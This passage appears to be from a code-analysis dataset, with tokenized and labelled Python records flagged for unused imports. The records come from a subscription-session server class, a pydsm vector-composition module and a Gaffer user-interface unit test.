"(_", "\"%", "4", "s", "\"_", "%_", "self_", "._", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"%", "21", "s", "\"_", "%_", "self_", "._", "address_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"%", "4d", "\"_", "%_", "len_", "(_", "self_", "._", "subscriptions_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Session_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "stopped_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "stopped_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "shutdown_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dispatcher_", "._", "remove", "\\u", "session_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stop", "\\u", "subscriptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Session_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "shutdown_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Session_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stopped_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "stopped_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Session_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "subscribe", "\\u", "to", "\\u", "service_", "(_", "self_", ",_", "method_", ",_", "params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "stopped_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "self_", "._", "subscriptions_", ")_", ">_", "self_", "._", "max", "\\u", "subscriptions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "log_", "(_", "\"", "max", " ", "subscript", "ion", "s", " ", "reache", "d", "\"_", ",_", "self_", "._", "address_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "append", " ", "to", " ", "self", ".", "subscript", "ion", "s", " ", "only", " ", "if", " ", "this", " ", "doe", "s", " ", "not", " ", "raise_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "bp_", "._", "do", "\\u", "subscribe_", "(_", "method_", ",_", "params_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "method_", ",_", "params_", ")_", "not_", "in_", "self_", "._", "subscriptions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "subscriptions_", "._", "append_", "(_", "(_", "method_", ",_", "params_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Session_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop", "\\u", "subscriptions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "self_", "._", "subscriptions_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "method_", ",_", "params_", "in_", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "bp_", "._", "do", "\\u", "unsubscribe_", "(_", "method_", ",_", "params_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "self_", "._", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "subscriptions_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Respons", "e", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Respons", "e", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "shared_", ",_", "request", "\\u", "dispatcher_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "shared_", "=_", "shared_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "request", "\\u", "dispatcher_", "=_", "request", "\\u", "dispatcher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "threading_", "._", "Thread_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "daemon_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Respons", "e", "Dispatcher_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "not_", "self_", "._", "shared_", "._", "stopped_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "session_", ",_", "response_", "=_", "self_", "._", "request", "\\u", "dispatcher_", "._", "pop", "\\u", "response_", "(_", ")_", "\\u\\u\\u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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
jimmycallin/pydsm/pydsm/composition.py
[ { "content": "from pydsm.indexmatrix import IndexMatrix\n\n\n\n\n\n\n\n__dsm__ = ['compose']", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def linear_additive(v1, v2, alpha=0.5, beta=0.5):\n \"\"\"\n Weighted elementwise addition.\n \"\"\"\n compword = str(v1.row2word[0]) + \" \" + str(v2.row2word[0])\n comp = (alpha * v1) + (beta * v2)\n comp.row2word = [compword]\n return comp", "metadata": "root.linear_additive", "header": "['module', '___EOS___']", "index": 2 }, { "content": "def multiplicative(v1, v2, alpha=1, beta=1):\n \"\"\"\n Weighted elementwise multiplication.\n \"\"\"\n compword = str(v1.row2word[0]) + \" \" + str(v2.row2word[0])\n comp = (alpha * v1) * (beta * v2)\n comp.row2word = [compword]\n return comp", "metadata": "root.multiplicative", "header": "['module', '___EOS___']", "index": 12 } ]
[ { "span": "from pydsm.indexmatrix import IndexMatrix", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 41 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "pyd", "sm_", "._", "index", "matrix_", "import_", "Index", "Matrix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u", "ds", "m", "\\u\\u_", "=_", "[_", "'", "compose", "'_", "]_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "linear", "\\u", "additi", "ve_", "(_", "v1_", ",_", "v2_", ",_", "alpha_", "=_", "0.5_", ",_", "beta_", "=_", "0.5_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Weig", "hte", "d", " ", "element", "wis", "e", " ", "addition", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp", "word_", "=_", "str_", "(_", "v1_", "._", "row2", "word_", "[_", "0_", "]_", ")_", "+_", "\"", " ", "\"_", "+_", "str_", "(_", "v2_", "._", "row2", "word_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp_", "=_", "(_", "alpha_", "*_", "v1_", ")_", "+_", "(_", "beta_", "*_", "v2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp_", "._", "row2", "word_", "=_", "[_", "comp", "word_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "comp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "multipl", "icat", "ive_", "(_", "v1_", ",_", "v2_", ",_", "alpha_", "=_", "1_", ",_", "beta_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Weig", "hte", "d", " ", "element", "wis", "e", " ", "multiplication", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp", "word_", "=_", "str_", "(_", "v1_", "._", "row2", "word_", "[_", "0_", "]_", ")_", "+_", "\"", " ", "\"_", "+_", "str_", "(_", "v2_", "._", "row2", "word_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp_", "=_", "(_", "alpha_", "*_", "v1_", ")_", "*_", "(_", "beta_", "*_", "v2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp_", "._", "row2", "word_", "=_", "[_", "comp", "word_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "comp_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ImageEngine/gaffer/python/GafferUITest/LinearContainerTest.py
[ { "content": "##########################################################################\n#\n# Copyright (c) 2011-2012, John Haddon. All rights reserved.\n# Copyright (c) 2012-2013, Image Engine Design Inc. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n#\n# * Redistributions of source code must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer.\n#\n# * Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided with\n# the distribution.\n#\n# * Neither the name of John Haddon nor the names of\n# any other contributors to this software may be used to endorse or\n# promote products derived from this software without specific prior\n# written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n##########################################################################\n\nimport unittest\n\nimport IECore\n\nimport Gaffer\nimport GafferUI\nimport GafferUITest\n\n\nif __name__ == \"__main__\":\n\tunittest.main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class LinearContainerTest( GafferUITest.TestCase ) :\n\n\n\n\n\n\n", "metadata": "root.LinearContainerTest", "header": "['module', '___EOS___']", "index": 45 }, { "content": "\tdef testConstruction( self ) :\n\n\t\tc = GafferUI.LinearContainer()\n\t\tself.assertEqual( c.getName(), \"LinearContainer\" )\n\t\tself.assertEqual( c.getOrientation(), GafferUI.LinearContainer.Orientation.X )\n\t\tself.assertEqual( c.getAlignment(), GafferUI.LinearContainer.Alignment.Centre )\n\t\tself.assertEqual( c.getSpacing(), 0 )\n\t\tself.assertEqual( c.getDirection(), GafferUI.LinearContainer.Direction.Increasing )\n\n\t\tc = GafferUI.LinearContainer( name=\"a\" )\n\t\tself.assertEqual( c.getName(), \"a\" )\n\t\tself.assertEqual( c.getOrientation(), GafferUI.LinearContainer.Orientation.X )\n\t\tself.assertEqual( c.getAlignment(), GafferUI.LinearContainer.Alignment.Centre )\n\t\tself.assertEqual( c.getSpacing(), 0 )\n\t\tself.assertEqual( c.getDirection(), GafferUI.LinearContainer.Direction.Increasing )\n\n\t\tc = GafferUI.LinearContainer( spacing=10 )\n\t\tself.assertEqual( c.getName(), \"LinearContainer\" )\n\t\tself.assertEqual( c.getOrientation(), GafferUI.LinearContainer.Orientation.X )\n\t\tself.assertEqual( c.getAlignment(), GafferUI.LinearContainer.Alignment.Centre )\n\t\tself.assertEqual( c.getSpacing(), 10 )\n\t\tself.assertEqual( c.getDirection(), GafferUI.LinearContainer.Direction.Increasing )\n\n\t\tc = GafferUI.LinearContainer( orientation=GafferUI.LinearContainer.Orientation.Y )\n\t\tself.assertEqual( c.getName(), \"LinearContainer\" )\n\t\tself.assertEqual( c.getOrientation(), GafferUI.LinearContainer.Orientation.Y )\n\t\tself.assertEqual( c.getAlignment(), GafferUI.LinearContainer.Alignment.Centre )\n\t\tself.assertEqual( c.getSpacing(), 0 )\n\t\tself.assertEqual( c.getDirection(), GafferUI.LinearContainer.Direction.Increasing )\n\n\t\tc = GafferUI.LinearContainer( alignment=GafferUI.LinearContainer.Alignment.Min )\n\t\tself.assertEqual( c.getName(), \"LinearContainer\" )\n\t\tself.assertEqual( c.getOrientation(), GafferUI.LinearContainer.Orientation.X )\n\t\tself.assertEqual( c.getAlignment(), GafferUI.LinearContainer.Alignment.Min )\n\t\tself.assertEqual( c.getSpacing(), 0 )\n\t\tself.assertEqual( c.getDirection(), GafferUI.LinearContainer.Direction.Increasing )\n\n\t\tc = GafferUI.LinearContainer( direction=GafferUI.LinearContainer.Direction.Decreasing )\n\t\tself.assertEqual( c.getName(), \"LinearContainer\" )\n\t\tself.assertEqual( c.getOrientation(), GafferUI.LinearContainer.Orientation.X )\n\t\tself.assertEqual( c.getAlignment(), GafferUI.LinearContainer.Alignment.Centre )\n\t\tself.assertEqual( c.getSpacing(), 0 )\n\t\tself.assertEqual( c.getDirection(), GafferUI.LinearContainer.Direction.Decreasing )\n\n\t\tself.assert_( c.bound().isEmpty() )", "metadata": "root.LinearContainerTest.testConstruction", "header": "['class', 'LinearContainerTest', '(', 'GafferUITest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 47 }, { "content": "\tdef testHorizontalCentred( self ) :\n\n\t\ttwoByFour = GafferUI.RenderableGadget(\n\t\t\tIECore.MeshPrimitive.createPlane( IECore.Box2f( IECore.V2f( -1, -2 ), IECore.V2f( 1, 2 ) ) )\n\t\t)\n\n\t\tfourByFour = GafferUI.RenderableGadget(\n\t\t\tIECore.MeshPrimitive.createPlane( IECore.Box2f( IECore.V2f( -2, -2 ), IECore.V2f( 2, 2 ) ) )\n\t\t)\n\n\t\tfourByTwo = GafferUI.RenderableGadget(\n\t\t\tIECore.MeshPrimitive.createPlane( IECore.Box2f( IECore.V2f( -2, -1 ), IECore.V2f( 2, 1 ) ) )\n\t\t)\n\n\t\tc = GafferUI.LinearContainer()\n\n\t\tc[\"c1\"] = twoByFour\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -1, -2, 0 ), IECore.V3f( 1, 2, 0 ) ) )\n\t\tself.assertEqual( twoByFour.getTransform(), IECore.M44f.createTranslated( IECore.V3f( 0 ) ) )\n\n\t\tc[\"c2\"] = fourByFour\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -3, -2, 0 ), IECore.V3f( 3, 2, 0 ) ) )\n\t\tself.assertEqual( twoByFour.getTransform(), IECore.M44f.createTranslated( IECore.V3f( -2, 0, 0 ) ) )\n\t\tself.assertEqual( fourByFour.getTransform(), IECore.M44f.createTranslated( IECore.V3f( 1, 0, 0 ) ) )\n\n\t\tc[\"c3\"] = fourByTwo\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -5, -2, 0 ), IECore.V3f( 5, 2, 0 ) ) )\n\t\tself.assertEqual( twoByFour.getTransform(), IECore.M44f.createTranslated( IECore.V3f( -4, 0, 0 ) ) )\n\t\tself.assertEqual( fourByFour.getTransform(), IECore.M44f.createTranslated( IECore.V3f( -1, 0, 0 ) ) )\n\t\tself.assertEqual( fourByTwo.getTransform(), IECore.M44f.createTranslated( IECore.V3f( 3, 0, 0 ) ) )", "metadata": "root.LinearContainerTest.testHorizontalCentred", "header": "['class', 'LinearContainerTest', '(', 'GafferUITest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 93 }, { "content": "\tdef testVerticalMin( self ) :\n\n\t\ttwoByFour = GafferUI.RenderableGadget(\n\t\t\tIECore.MeshPrimitive.createPlane( IECore.Box2f( IECore.V2f( -1, -2 ), IECore.V2f( 1, 2 ) ) )\n\t\t)\n\n\t\tfourByFour = GafferUI.RenderableGadget(\n\t\t\tIECore.MeshPrimitive.createPlane( IECore.Box2f( IECore.V2f( -2, -2 ), IECore.V2f( 2, 2 ) ) )\n\t\t)\n\n\t\tfourByTwo = GafferUI.RenderableGadget(\n\t\t\tIECore.MeshPrimitive.createPlane( IECore.Box2f( IECore.V2f( -2, -1 ), IECore.V2f( 2, 1 ) ) )\n\t\t)\n\n\t\tc = GafferUI.LinearContainer( orientation=GafferUI.LinearContainer.Orientation.Y, alignment=GafferUI.LinearContainer.Alignment.Min)\n\n\t\tc[\"c1\"] = twoByFour\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -1, -2, 0 ), IECore.V3f( 1, 2, 0 ) ) )\n\t\tself.assertEqual( twoByFour.getTransform(), IECore.M44f.createTranslated( IECore.V3f( 0 ) ) )\n\n\t\tc[\"c2\"] = fourByFour\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -2, -4, 0 ), IECore.V3f( 2, 4, 0 ) ) )\n\t\tself.assertEqual( twoByFour.getTransform(), IECore.M44f.createTranslated( IECore.V3f( -1, -2, 0 ) ) )\n\t\tself.assertEqual( fourByFour.getTransform(), IECore.M44f.createTranslated( IECore.V3f( 0, 2, 0 ) ) )\n\n\t\tc[\"c3\"] = fourByTwo\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -2, -5, 0 ), IECore.V3f( 2, 5, 0 ) ) )\n\t\tself.assertEqual( twoByFour.getTransform(), IECore.M44f.createTranslated( IECore.V3f( -1, -3, 0 ) ) )\n\t\tself.assertEqual( fourByFour.getTransform(), IECore.M44f.createTranslated( IECore.V3f( 0, 1, 0 ) ) )\n\t\tself.assertEqual( fourByTwo.getTransform(), IECore.M44f.createTranslated( IECore.V3f( 0, 4, 0 ) ) )", "metadata": "root.LinearContainerTest.testVerticalMin", "header": "['class', 'LinearContainerTest', '(', 'GafferUITest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 124 }, { "content": "\tdef testPadding( self ) :\n\n\t\ttwoByFour = GafferUI.RenderableGadget(\n\t\t\tIECore.MeshPrimitive.createPlane( IECore.Box2f( IECore.V2f( -1, -2 ), IECore.V2f( 1, 2 ) ) )\n\t\t)\n\n\t\tc = GafferUI.LinearContainer( orientation=GafferUI.LinearContainer.Orientation.Y )\n\t\tc.addChild( twoByFour )\n\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -1, -2, 0 ), IECore.V3f( 1, 2, 0 ) ) )\n\t\tself.assertEqual( c.getPadding(), IECore.Box3f( IECore.V3f( 0 ), IECore.V3f( 0 ) ) )\n\n\t\tc.setPadding( IECore.Box3f( IECore.V3f( -1, -2, -3 ), IECore.V3f( 1, 2, 3 ) ) )\n\t\tself.assertEqual( c.getPadding(), IECore.Box3f( IECore.V3f( -1, -2, -3 ), IECore.V3f( 1, 2, 3 ) ) )\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -2, -4, -3 ), IECore.V3f( 2, 4, 3 ) ) )", "metadata": "root.LinearContainerTest.testPadding", "header": "['class', 'LinearContainerTest', '(', 'GafferUITest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 155 }, { "content": "\tdef testDirection( self ) :\n\n\t\tfirst = GafferUI.RenderableGadget(\n\t\t\tIECore.MeshPrimitive.createPlane( IECore.Box2f( IECore.V2f( -1, -2 ), IECore.V2f( 1, 2 ) ) )\n\t\t)\n\n\t\tsecond = GafferUI.RenderableGadget(\n\t\t\tIECore.MeshPrimitive.createPlane( IECore.Box2f( IECore.V2f( -1, -2 ), IECore.V2f( 1, 2 ) ) )\n\t\t)\n\n\t\tc = GafferUI.LinearContainer( orientation=GafferUI.LinearContainer.Orientation.Y )\n\n\t\tc[\"c1\"] = first\n\t\tc[\"c2\"] = second\n\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -1, -4, 0 ), IECore.V3f( 1, 4, 0 ) ) )\n\t\tself.assertEqual( first.getTransform(), IECore.M44f.createTranslated( IECore.V3f( 0, -2, 0 ) ) )\n\t\tself.assertEqual( second.getTransform(), IECore.M44f.createTranslated( IECore.V3f( 0, 2, 0 ) ) )\n\n\t\tc.setDirection( GafferUI.LinearContainer.Direction.Decreasing )\n\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -1, -4, 0 ), IECore.V3f( 1, 4, 0 ) ) )\n\t\tself.assertEqual( first.getTransform(), IECore.M44f.createTranslated( IECore.V3f( 0, 2, 0 ) ) )\n\t\tself.assertEqual( second.getTransform(), IECore.M44f.createTranslated( IECore.V3f( 0, -2, 0 ) ) )", "metadata": "root.LinearContainerTest.testDirection", "header": "['class', 'LinearContainerTest', '(', 'GafferUITest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 171 }, { "content": "\tdef testDirectionAndSpacing( self ) :\n\n\t\tc = GafferUI.LinearContainer( orientation = GafferUI.LinearContainer.Orientation.Y )\n\t\tc[\"g1\"] = GafferUI.RenderableGadget(\n\t\t\tIECore.MeshPrimitive.createPlane( IECore.Box2f( IECore.V2f( -1 ), IECore.V2f( 1 ) ) )\n\t\t)\n\t\tc[\"g2\"] = GafferUI.RenderableGadget(\n\t\t\tIECore.MeshPrimitive.createPlane( IECore.Box2f( IECore.V2f( -1 ), IECore.V2f( 1 ) ) )\n\t\t)\n\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -1, -2, 0 ), IECore.V3f( 1, 2, 0 ) ) )\n\n\t\tc.setSpacing( 2 )\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -1, -3, 0 ), IECore.V3f( 1, 3, 0 ) ) )\n\n\t\tc.setDirection( GafferUI.LinearContainer.Direction.Decreasing )\n\t\tself.assertEqual( c.bound(), IECore.Box3f( IECore.V3f( -1, -3, 0 ), IECore.V3f( 1, 3, 0 ) ) )", "metadata": "root.LinearContainerTest.testDirectionAndSpacing", "header": "['class', 'LinearContainerTest', '(', 'GafferUITest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 196 }, { "content": "\tdef testChildVisibility( self ) :\n\n\t\tg1 = GafferUI.SpacerGadget( IECore.Box3f( IECore.V3f( 0 ), IECore.V3f( 1, 1, 0 ) ) )\n\t\tg2 = GafferUI.SpacerGadget( IECore.Box3f( IECore.V3f( 0 ), IECore.V3f( 2, 1, 0 ) ) )\n\t\tg3 = GafferUI.SpacerGadget( IECore.Box3f( IECore.V3f( 0 ), IECore.V3f( 5, 1, 0 